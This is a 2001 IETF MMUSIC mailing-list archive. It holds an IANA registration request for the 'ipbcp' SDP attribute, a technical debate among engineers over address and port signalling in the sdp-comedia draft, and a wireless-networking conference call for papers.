	for <confctrl@ISI.EDU>; Mon, 11 Jun 2001 12:23:32 -0700 (PDT)
Received: from CHSHARP-W2K1.cisco.com (rtp-vpn-238.cisco.com [10.82.192.238]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id PAA04162 for <confctrl@ISI.EDU>; Mon, 11 Jun 2001 15:23:26 -0400 (EDT)
Message-Id: <4.3.2.7.2.20010611151634.03e5a248@dogwood.cisco.com>
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 11 Jun 2001 15:23:00 -0400
To: confctrl@ISI.EDU
From: Chip Sharp <chsharp@cisco.com>
Subject: [Fwd: Request for Registration of SDP Attribute
  (SDP-Parameters)]
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

FYI,
The following email concerns an application to IANA for a new SDP attribute 
to be defined.  It appears this is the first such request and that IANA 
hasn't set up a registry for SDP attributes yet.

I asked and received permission from Mr. Abrams before forwarding to this 
list for information and possible feedback.

Chip

Date: Thu, 07 Jun 2001 11:31:50 -0500
From: Robert Abrams <abramsrj@lucent.com>
Organization: Lucent Technologies
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD EMS-1.5  (Win95; U)
X-Accept-Language: en
To: BICC SG11 list <tsg11bicc@ties.itu.ch>
Subject: [Fwd: Request for Registration of SDP Attribute (SDP-Parameters)]
Sender: owner-tsg11bicc@itu.int
Reply-To: Robert Abrams <abramsrj@lucent.com>

BICCers,

I have initiated a request to IANA for registration of the new
IPBCP SDP attribute, as attached.  Apparently this is their first such
request.  Attached is their response, and more importantly, you may review 
and
comment on the technical part of my request.  We can modify it if needed.

Bob AbramsReturn-Path: <iana@iana.org>
Received: from ihemail2.firewall.lucent.com (ihemail2.firewall.lucent.com 
[192.11.222.163]) by ihmail.ih.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id TAA13253; Wed, 6 Jun 2001 19:06:54 -0500 (CDT)
Received: from ihemail2.firewall.lucent.com (localhost [127.0.0.1])
	by ihemail2.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id 
f5706tx18856
	for <abramsrj@ihmail.ih.lucent.com>; Wed, 6 Jun 2001 20:06:55 -0400 (EDT)
Received: from mailhub.icann.org (mailhub.icann.org [192.0.34.33])
	by ihemail2.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id 
f5706th18852
	for <abramsrj@lucent.com>; Wed, 6 Jun 2001 20:06:55 -0400 (EDT)
Received: from tarim (tarim.icann.org [192.0.34.205])
	by mailhub.icann.org (8.9.3/8.9.3) with SMTP id RAA05562
	for <abramsrj@lucent.com>; Wed, 6 Jun 2001 17:06:54 -0700
From: "IANA" <iana@icann.org>
To: "Robert Abrams" <abramsrj@lucent.com>
Subject: RE: Request for Registration of SDP Attribute (SDP-Parameters)
Date: Wed, 6 Jun 2001 17:03:52 -0700
Message-ID: <NDBBLFOEHLGNKLDBAECCIEFKJOAA.iana@iana.org>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Importance: Normal
In-Reply-To: <3B180DE1.C4AE42E9@lucent.com>

Dear Robert,

It appears that this registry has not yet been set-up
per RFC 2327.  We will try to take care of this within
the next weeks and then contact you when it is complete.

Thank you for your patience.

IANA

-----Original Message-----
From: Robert Abrams [mailto:abramsrj@lucent.com]
Sent: Friday, June 01, 2001 2:49 PM
To: iana@iana.org
Subject: Request for Registration of SDP Attribute


I wish to register a new SDP attribute that is used in ITU-T Recommendation
Q.1970.  The information for the attribute is appended.


Robert Abrams
Editor of ITU-T Recommendation Q.1970
Associate Rapporteur of Question 11 of ITU-T Study Group 11

---------------------------------------------------------------------

        The following SDP attribute is defined in ITU-T Recommendation
Q.1970, "BICC IP Bearer Control Protocol".

  o contact name, ********

        o attribute-name: ipbcp

        o long-form attribute name in English: IP bearer control protocol

        o type of attribute: session level

        o whether the attribute value is subject to the charset
        attribute. Not dependent on charset.
	o purpose of the attribute:
The SDP session attribute "ipbcp" provides the means to identify the IPBCP 
version and to distinguish between Request, Accepted, Confused and Rejected 
message types.  IPBCP uses SDP data structures designated as "messages" to 
convey bearer control information between peer bearer control entities.
There are four types of messages defined: 1) The Request message is sent to
initiate a bearer establishment or modification request. 2) The Accepted 
message is a response that the Request message are accepted.  3) The 
Confused message is
a response that the receiver cannot process the Request message. 4) The
Rejected message is a response that the receiver rejects the Request 
message.

        o appropriate attribute values for this attribute:

	a=ipbcp: < version> <type>

	where	<version> = 1 indicates IPBCP version defined in Recommendation
Q.1970.
Other values not yet defined.

		<type> = ("Request" / "Accepted" / "Confused" / "Rejected")

-------------------------------------------------------------------
Chip Sharp                       Consulting Engineering
Cisco Systems
-------------------------------------------------------------------


From confctrl-owner  Mon Jun 11 13:05:51 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA28794
	for confctrl-outgoing; Mon, 11 Jun 2001 13:05:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA28789
	for <confctrl@zephyr.isi.edu>; Mon, 11 Jun 2001 13:05:50 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5BK5qZ29310
	for <confctrl@ISI.EDU>; Mon, 11 Jun 2001 13:05:52 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f5BK4NX02883;
	Mon, 11 Jun 2001 16:04:23 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-145.cisco.com [161.44.241.145])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAS02561 (AUTH pkyzivat);
	Mon, 11 Jun 2001 16:05:44 -0400 (EDT)
Message-ID: <3B2523BA.8DB39DE9@cisco.com>
Date: Mon, 11 Jun 2001 16:02:02 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
CC: "'David Yon'" <yon@dialout.net>, MMUSIC <confctrl@ISI.EDU>
Subject: Re: [Sip-implementors] problem indraft-ietf-mmusic-sdp-comedia-00?
References: <E79883AEA37FD411A58C00508BAC5F4BD728BA@exchange1.nuera.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

See below

	Paul

> "Fairlie-Cuninghame, Robert" wrote:
> 
> Hi Paul,
> 
> I think that the section you quote is unrelated to this argument. It
> deals with differences between the addresses specified in the "remote"
> SDP and the addresses specified in SCTP's four-way handshake. TCP does
> not negotiate transport addresses and so this is not a problem in this
> scenario.
> 
> Neither document places restrictions on the source address of where a
> connection may be opened from (in any of the connection modes).
> However it is not the source address of the connection that is the
> contentious issue here. It is the fact that any endpoint of a
> connection taking part in the session must be able to send _and_
> receive media, in other words, you cannot open a connection just for
> sending _or_ receiving media.
> 
> You option (B) is not an feasible restriction in my mind. It may not
> even be possible for an application to predetermine the source address
> of a TCP connection (on a multi-homed host). There are other reasons
> this is not a good idea. NAT/NAPT and timing problems are just two of
> them.

David Yon sent out a reply accepting my suggestion for an addition to
the direction attribute specifying what address to expect connection
from. In his wording, this is optional, but if not present then it is
assumed that the connection will come from the address in the c=. If it
is not possible for the application to predetermine the source address,
then it doesn't matter whether it is specified with the direction or
with the c=.

One implementation environment where it is difficult to predict either
the
address or the port is Java. Happily this is being fixed in 1.4, but it
is
a problem until that is generally in use. I don't know if there are
other
relevant implementation environments that can't preallocate the socket
resources so they can be announced in the SDP.

My problem is that *optionally* specifying the address and port that
will be used to connect isn't helpful. If I must accept calls from a UA
that doesn't do so, then I must ensure I have another way to distinguish
that connection from other connections. The only way I can see to do
that is to dedicate a listening socket for the duration of the
invitation. I find that to be *very* objectionable.

 
> Yes this does indeed have implications if the application's really
> wants to have two unassociated send and receive processes. One
> solution to this problem could be to use two separate explicitly
> unidirectional (a=sendonly/a=recvonly) connections correlated using
> either Gonzalo Camarillo's SDP "fid" media flow identifiers or an
> application-layer media stream correlation mechanism (such as SIP's
> offer-answer model [bis-03]). The benefit's for a connection-oriented
> and/or reliable transport mechanism to be bidirectional at the
> transport layer are significant. For example, bandwidth efficiency and
> ensuring bidirectional connectivity/reliability especially w.r.t
> NAT/NAPT traversal, etc.
> 
> Regards,
> 
> Robert.

From confctrl-owner  Mon Jun 11 13:53:00 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA01577
	for confctrl-outgoing; Mon, 11 Jun 2001 13:53:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA01572
	for <confctrl@zephyr.isi.edu>; Mon, 11 Jun 2001 13:52:59 -0700 (PDT)
Received: from webhost.tactical-sw.com (host-216-153-163-173.choiceone.net [216.153.163.173])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5BKr0Z15728
	for <confctrl@ISI.EDU>; Mon, 11 Jun 2001 13:53:00 -0700 (PDT)
Received: from YON-LATTITUDE.dialout.net (yon-lattitude.tactical-sw.com [10.0.0.57] (may be forged))
	by webhost.tactical-sw.com (8.9.2/8.9.1) with ESMTP id QAA20584;
	Mon, 11 Jun 2001 16:53:28 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010611164940.03ea8008@mail.dialout.net>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Mon, 11 Jun 2001 16:52:09 -0400
To: Paul Kyzivat <pkyzivat@cisco.com>,
        "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
From: David Yon <yon@dialout.net>
Subject: Re: [Sip-implementors] problem
  indraft-ietf-mmusic-sdp-comedia-00?
Cc: MMUSIC <confctrl@ISI.EDU>
In-Reply-To: <3B2523BA.8DB39DE9@cisco.com>
References: <E79883AEA37FD411A58C00508BAC5F4BD728BA@exchange1.nuera.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 04:02 PM 6/11/2001, Paul Kyzivat wrote:

>My problem is that *optionally* specifying the address and port that
>will be used to connect isn't helpful. If I must accept calls from a UA
>that doesn't do so, then I must ensure I have another way to distinguish
>that connection from other connections. The only way I can see to do
>that is to dedicate a listening socket for the duration of the
>invitation. I find that to be *very* objectionable.

Maybe I should elaborate on what I meant by "optional" for the 
address.  It's optional only if the endpoint knows that it will be 
connecting from the same address as listed in the "c=" line.  If the 
address from which it will be connecting is *different* than what is found 
in the "c=" line, then the endpoint MUST specify that address in the 
"direction" attribute.

Does that help?



David Yon
Chief Technical Officer
Dialout.Net, Inc.
402 Amherst St.
Nashua, NH 03063
Voice   +1-603-577-8708 x206
Fax     +1-603-578-9564
yon@dialout.net


From confctrl-owner  Mon Jun 11 14:50:10 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA05457
	for confctrl-outgoing; Mon, 11 Jun 2001 14:50:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA05438
	for <confctrl@zephyr.isi.edu>; Mon, 11 Jun 2001 14:50:08 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5BLoAZ07008
	for <confctrl@ISI.EDU>; Mon, 11 Jun 2001 14:50:10 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f5BLmfX08949;
	Mon, 11 Jun 2001 17:48:41 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-145.cisco.com [161.44.241.145])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAS03295 (AUTH pkyzivat);
	Mon, 11 Jun 2001 17:50:03 -0400 (EDT)
Message-ID: <3B253C2C.336EE479@cisco.com>
Date: Mon, 11 Jun 2001 17:46:20 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: David Yon <yon@dialout.net>
CC: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>,
        MMUSIC <confctrl@ISI.EDU>
Subject: Re: [Sip-implementors] problemindraft-ietf-mmusic-sdp-comedia-00?
References: <E79883AEA37FD411A58C00508BAC5F4BD728BA@exchange1.nuera.com> <5.0.2.1.2.20010611164940.03ea8008@mail.dialout.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

David,

Your meaning of optional was clear in your revised direction-spec.
But you mean something different in the optionality of the port.

But Robert F-C is concerned about the ability to predict what address
will send the connection, and you are obviously concerned about the
ability to predict the port. These concerns are relevant in the case of
Java today.

The listening end needs both of these to match a particular incoming
connection to a specific media description. Otherwise the listener must
dedicate a listening socket to the invitation. The big problem here is
that once something is optional it is tempting for people not to do it.
For instance, a device that only implements direction:active may just
not go to the trouble. But then every device that implements
direction:passive or direction:both must be prepared to deal with this
lack. That both complicates the code and increases resource usage during
invitation processing.

I'm not sure there is any way out of this. But at the least the document
should say that both the port and the address SHOULD be supplied.

	Paul

David Yon wrote:
> 
> At 04:02 PM 6/11/2001, Paul Kyzivat wrote:
> 
> >My problem is that *optionally* specifying the address and port that
> >will be used to connect isn't helpful. If I must accept calls from a UA
> >that doesn't do so, then I must ensure I have another way to distinguish
> >that connection from other connections. The only way I can see to do
> >that is to dedicate a listening socket for the duration of the
> >invitation. I find that to be *very* objectionable.
> 
> Maybe I should elaborate on what I meant by "optional" for the
> address.  It's optional only if the endpoint knows that it will be
> connecting from the same address as listed in the "c=" line.  If the
> address from which it will be connecting is *different* than what is found
> in the "c=" line, then the endpoint MUST specify that address in the
> "direction" attribute.
> 
> Does that help?
> 
> David Yon
> Chief Technical Officer
> Dialout.Net, Inc.
> 402 Amherst St.
> Nashua, NH 03063
> Voice   +1-603-577-8708 x206
> Fax     +1-603-578-9564
> yon@dialout.net

From confctrl-owner  Tue Jun 12 04:36:18 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA15846
	for confctrl-outgoing; Tue, 12 Jun 2001 04:36:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA15832;
	Tue, 12 Jun 2001 04:36:15 -0700 (PDT)
Received: from rly-ip02.mx.aol.com (rly-ip02.mx.aol.com [152.163.225.160])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5CBaGZ17025;
	Tue, 12 Jun 2001 04:36:16 -0700 (PDT)
Received: from tot-tk.proxy.aol.com (tot-tk.proxy.aol.com [152.163.206.131])
	  by rly-ip02.mx.aol.com (8.8.8/8.8.8/AOL-5.0.0)
	  with ESMTP id HAA20592;
	  Tue, 12 Jun 2001 07:28:29 -0400 (EDT)
Received: from icwlhn.org (AC90E320.ipt.aol.com [172.144.227.32])
	by tot-tk.proxy.aol.com (8.10.0/8.10.0) with ESMTP id f5CBSBm22939;
	Tue, 12 Jun 2001 07:28:11 -0400 (EDT)
Message-ID: <3B2626A8.4D074887@icwlhn.org>
Date: Tue, 12 Jun 2001 07:26:48 -0700
From: Benny Bing <bennybing@icwlhn.org>
X-Mailer: Mozilla 4.51 [en]C-CCK-MCD {MCIWORLDV2}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: tccc@ieee.org
Subject: Final CFP: International Conference on Wireless LANs and Home Networks
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Apparently-From: BBing10199@aol.com
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

FINAL CALL FOR PAPERS

International Conference on Wireless LANs, PANs and Home Networks

5 - 7 December 2001, Singapore

Conference Web Site: www.icwlhn.org


Conference Outline

The IEEE ICWLHN 2001 is the first conference to integrate technical
presentations with live demos, allowing participants to see technologies

in action. It is this uniqueness that separates ICWLHN from the rest of
other conferences rather than compares ICWLHN to them. The conference
will focus on practical application of current technologies with an eye
towards the immediate future as well as innovative research. The purpose

is to bring together engineers, practitioners, scientists, as well as
industry professionals from manufacturers to service providers whose
technical interests are wireless LANs (e.g., IEEE 802.11, HiperLAN,
Wi-Fi) and personal area/home wireless networks (IEEE 802.15, Bluetooth,

HomeRF, WAP). In doing so, technical ideas can be exchanged, potentially

leading to the development of new innovations.


Conference Highlights

Keynote Speech:

"Nomadic Computing - The Next Wave of the Internet", Dr. Leonard
Kleinrock, UCLA and Nomadix Inc

Plenary Speakers:

Greg Dicillio, Director, Wireless LAN Association
Bob Heile, Chairman, IEEE 802.15 Working Group for WPANs

Technology Presentors:

Ericsson, Agilent, Mobilian, 3Com, Wi-LAN, EDS, Sharewave, Dell and more



Paper Topics

Suggestions for paper topics include the following:

- Channel Modeling
- Modulation
- Signal Propagation
- Channel Measurements
- Multicarrier (OFDM) Systems
- Smart Antennas
- Emerging Technologies
- Network Performance Analysis
- Smart Spaces
- Error Control Coding
- Optical Wireless Networks
- Standards Coexistence
- Interference Control
- Power Control and Management
- Synchronization
- Internetworking
- QoS Provisioning
- System Integration
- Media Access
- Receiver Implementation
- Wireless Ethernet
- Mobility Management
- RF/IC Technology
- Wireless Internet
- Mobile Computing
- Security
- Wireless Local Loop


Best Papers

Authors of best papers will invited to submit full-length papers for
possible publication in a special issue of the IEEE Personal
Communications, a premier magazine of the IEEE Communications Society.
The issue is scheduled to appear in June 2002.


Submission Instructions

Authors should submit an electronic version of a 2000-word abstract to
bennybing@icwlhn.org. Preferred file formats include Microsoft Word and
Acrobat PDF. The submission should include the name, affiliation,
mailing address, email address, telephone and fax numbers of the
corresponding author. The submission should be compressed if the file
size is larger than 1 Mbyte. In view of an anticipated large number of
submissions, it is important that authors keep to the 2000-word limit
and discuss key points of their abstracts as concisely as possible.


Important Deadlines

2000-Word Abstract Due: 15 June 2001.
Notification of Acceptance: 15 August 2001.
Camera-Ready Paper Due: 1 September 2001.
Author Registration Due: 1 September 2001.


International Advisory Committee:

Lek Ariyavisitakul, Home Wireless Networks, USA.
Ben Arzine, British Telecom, UK.
Ender Ayanoglu, Cisco Systems, USA.
Victor Bahl, Microsoft Research, USA.
Yeheskel Bar-Ness, New Jersey Institute of Technology, USA.
John Barr, Motorola, USA.
Steve Bell, Agilent Interoperability Certification Labs, USA.
Kwang-Cheng Chen, National Taiwan University, Taiwan.
Justin Chuang, AT&T Research, USA.
David Cohen, 3Com, USA.
Greg Ennis, Symbol Technologies, USA.
David Everitt, Swinburne University of Technology, Australia.
Laurent Frelechoux, IBM Research, Switzerland.
Alex Gelman, Panasonic Research, USA.
Nada Golmie, National Institute of Standards and Technology, USA
Lon Gowen, Mitre Corporation, USA.
Bob Heile, Consultant, USA.
Chih-Lin I, AT&T Research, USA.
Konosuke Kawashima, NTT Advanced Technology, Japan.
Leonard Kleinrock, University of California at Los Angeles, USA.
Victor Li, University of Hong Kong, China.
Pascal Lorenz, University of Haute Alsace, France.
Teresa Meng, Stanford University, USA.
Jouni Mikkonen, Nokia, Finland.
Hiroyuki Morikawa, University of Tokyo, Japan.
Guy Pujolle, University of Paris, France.
Mike Sheppard, Ericsson, USA.
Matthew Shoemake, Texas Instruments, USA.
Tom Siep, Texas Instruments, USA.
Roj Snellman, Intersil, USA.
Peter Steenkiste, Carnegie Mellon University, USA.
Richard van Nee, Lucent Technologies, The Netherlands.
Sergio Verdu, Princeton University, USA.
Naoaki Yamanaka, NTT Network Service Systems, Japan.
Hatim Zaghoul, Wi-LAN, Canada.
Rodger Ziemer, National Science Foundation, USA.










From confctrl-owner  Tue Jun 12 07:19:48 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA23823
	for confctrl-outgoing; Tue, 12 Jun 2001 07:19:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA23818
	for <confctrl@zephyr.isi.edu>; Tue, 12 Jun 2001 07:19:47 -0700 (PDT)
Received: from exchange1.nuera.com (igate.nuera.com [204.216.240.98])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5CEJnZ22676
	for <confctrl@ISI.EDU>; Tue, 12 Jun 2001 07:19:49 -0700 (PDT)
Received: by exchange1.nuera.com with Internet Mail Service (5.5.2650.21)
	id <LA2LKDPX>; Tue, 12 Jun 2001 07:19:16 -0700
Message-ID: <E79883AEA37FD411A58C00508BAC5F4BD728C6@exchange1.nuera.com>
From: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
To: "'Paul Kyzivat'" <pkyzivat@cisco.com>, David Yon <yon@dialout.net>
Cc: MMUSIC <confctrl@ISI.EDU>
Subject: RE: [Sip-implementors] problemindraft-ietf-mmusic-sdp-comedia-00?
Date: Tue, 12 Jun 2001 07:19:15 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0F34A.A93B5020"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0F34A.A93B5020
Content-Type: text/plain;
	charset="iso-8859-1"

Paul,

I think we need to look at WHY we are supplying source address information
and what impact it will have. 

- If we are doing it to ensure the source address is consistent with the
transport layer connections then I think is wrong. If enforced it rules out
NAT/NAPT traversal for starters and goes against the existing SDP paradigms.

- Similarly, if this proposal is to allow an application to share a single
local port between multiple media session by dictating the source address
then there are a number of points that I can make with regards to that:
1)	Firstly, plain old udp-based RTP has this restriction so and it is
not the place of comedia to change this in my opinion. Under normal SDP each
media session specifies a UDP or TCP port for receiving media or connections
and you cannot assume anything about the source media address. 
2)	I think it is more common than you think for an IP implementation
not to be able to predict the local address of outbound TCP connections. For
instance: From the Windows getsockname() help file: "A Windows Sockets
application must not assume that the address will be specified unless the
socket is connected. The address that will be used for the socket is unknown
unless the socket is connected when used in a multihomed host." 
3)	This also introduces timing issues that complicate matters (eg, the
remote side must have received and processed your "local" session
description before you can begin to make a connection to the remote side -
it's a race condition). Yuck!
4)	Mechanism fails (badly) when connections traverse a NAT/NAPT - you
will receive a TCP connection at port which you cannot associate with a
unique session description.
5)	Any mechanism for port sharing would most probably end up being be
quite heuristical or complicated and would not be compatible with NAT/NAPT
traversal. I don't think that it belongs or should be encouraged in this
draft. 
6)	If your need for >63K SDP connections on a single host then why
don't you just assign the server multiple IP addresses on the same
interface. Your arguments for complexity are not really valid on a server
handling >63K connections; besides, I think it would be much more
complicated to try to share ports rather than allocate each connection to a
separate port, frankly.

- This addition does not help or address the separation of the send and
receive processes onto different connections. I'm not sure if this was even
a concern of yours Paul? This can be solved using two separate, correlated,
unidirectional media sessions (ie, two a=sendonly/recvonly sessions
correlated using Gonzalo's "fid" draft or application layer correlation). We
could also add another "enforce unidirectionality" parameter to the comedia
draft but in my mind this is an unrelated and perhaps even unnecessary
addition.

So, I would say that IF this is added it should explicitly say that it must
not to be used by an endpoint or application! The information should only be
provided to open holes in application-layer aware firewalls (ALG's). 

This however defeats the reasons that Paul wants the addition in the first
place.

Robert.



-----Original Message-----
From:	Paul Kyzivat [mailto:pkyzivat@cisco.com]
Sent:	Monday, June 11, 2001 10:46 PM
To:	David Yon
Cc:	Fairlie-Cuninghame, Robert; MMUSIC
Subject:	Re: [Sip-implementors]
problemindraft-ietf-mmusic-sdp-comedia-00?

David,

Your meaning of optional was clear in your revised direction-spec.
But you mean something different in the optionality of the port.

But Robert F-C is concerned about the ability to predict what address
will send the connection, and you are obviously concerned about the
ability to predict the port. These concerns are relevant in the case of
Java today.

The listening end needs both of these to match a particular incoming
connection to a specific media description. Otherwise the listener must
dedicate a listening socket to the invitation. The big problem here is
that once something is optional it is tempting for people not to do it.
For instance, a device that only implements direction:active may just
not go to the trouble. But then every device that implements
direction:passive or direction:both must be prepared to deal with this
lack. That both complicates the code and increases resource usage during
invitation processing.

I'm not sure there is any way out of this. But at the least the document
should say that both the port and the address SHOULD be supplied.

	Paul

David Yon wrote:
> 
> At 04:02 PM 6/11/2001, Paul Kyzivat wrote:
> 
> >My problem is that *optionally* specifying the address and port that
> >will be used to connect isn't helpful. If I must accept calls from a UA
> >that doesn't do so, then I must ensure I have another way to distinguish
> >that connection from other connections. The only way I can see to do
> >that is to dedicate a listening socket for the duration of the
> >invitation. I find that to be *very* objectionable.
> 
> Maybe I should elaborate on what I meant by "optional" for the
> address.  It's optional only if the endpoint knows that it will be
> connecting from the same address as listed in the "c=" line.  If the
> address from which it will be connecting is *different* than what is found
> in the "c=" line, then the endpoint MUST specify that address in the
> "direction" attribute.
> 
> Does that help?
> 
> David Yon
> Chief Technical Officer
> Dialout.Net, Inc.
> 402 Amherst St.
> Nashua, NH 03063
> Voice   +1-603-577-8708 x206
> Fax     +1-603-578-9564
> yon@dialout.net

------_=_NextPart_001_01C0F34A.A93B5020
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>RE: [Sip-implementors] =
problemindraft-ietf-mmusic-sdp-comedia-00?</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">Paul,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I think we need to look at WHY we are =
supplying source address information and what impact it will have. =
</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">- If we are doing it to</FONT><I> =
<FONT SIZE=3D2 FACE=3D"Arial">ensure</FONT></I><FONT SIZE=3D2 =
FACE=3D"Arial"> the source address is consistent with the transport =
layer connections then I think is wrong. If enforced it rules out =
NAT/NAPT traversal for starters and goes against the existing SDP =
paradigms.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">- Similarly, if this proposal =
is</FONT> <FONT SIZE=3D2 FACE=3D"Arial">to allow an application to =
share a</FONT> <FONT SIZE=3D2 FACE=3D"Arial">single</FONT> <FONT =
SIZE=3D2 FACE=3D"Arial">local port between multiple medi</FONT><FONT =
SIZE=3D2 FACE=3D"Arial">a session by dictating the source address then =
there are a number of points that I can make with regards to =
that:</FONT></P>
<UL><UL>
<OL TYPE=3D1><LI><FONT SIZE=3D2 FACE=3D"Arial">Firstly, plain old =
udp-based RTP has this restriction so</FONT> <FONT SIZE=3D2 =
FACE=3D"Arial">and it is not the place of comedia to change this in my =
opinion.</FONT><FONT SIZE=3D2 FACE=3D"Arial"></FONT> <FONT SIZE=3D2 =
FACE=3D"Arial">Under normal SDP e</FONT><FONT SIZE=3D2 =
FACE=3D"Arial">ach media session specifies a UDP or TCP port for =
receiving media or connections and you cannot assume anything about the =
source media address.</FONT> </LI>
<LI><FONT SIZE=3D2 FACE=3D"Arial">I think</FONT> <FONT SIZE=3D2 =
FACE=3D"Arial">it</FONT><FONT SIZE=3D2 FACE=3D"Arial"> is more common =
than you think</FONT><FONT SIZE=3D2 FACE=3D"Arial"> for an IP =
implementation</FONT><FONT SIZE=3D2 FACE=3D"Arial"> not</FONT> <FONT =
SIZE=3D2 FACE=3D"Arial">to</FONT> <FONT SIZE=3D2 FACE=3D"Arial">be able =
to</FONT> <FONT SIZE=3D2 FACE=3D"Arial">predict the local address =
of</FONT> <FONT SIZE=3D2 FACE=3D"Arial">outbound TCP connections. For =
instance:</FONT> <FONT SIZE=3D2 FACE=3D"Arial">From</FONT><FONT =
SIZE=3D2 FACE=3D"Arial"></FONT> <FONT SIZE=3D2 =
FACE=3D"Arial">the</FONT> <FONT SIZE=3D2 =
FACE=3D"Arial">Windows</FONT><FONT SIZE=3D2 FACE=3D"Arial"></FONT><I> =
<FONT SIZE=3D2 FACE=3D"Arial">getsockname</FONT></I><FONT SIZE=3D2 =
FACE=3D"Arial">() help file</FONT><FONT SIZE=3D2 FACE=3D"Arial">: "A =
Windows Sockets application must not assume that the address will be =
specified unless the socket is connected. The address that will be used =
for the socket is unknown unless the socket is connected when used in a =
multihomed host."</FONT><FONT SIZE=3D2 FACE=3D"Arial"> </FONT></LI>
<LI><FONT SIZE=3D2 FACE=3D"Arial">This also introduces timing issues =
that complicate matters (eg, the remote side must have received and =
processed your "local" session description before you can begin to make =
a connection to the remote side - it's a race condition). =
Yuck!</FONT></LI>
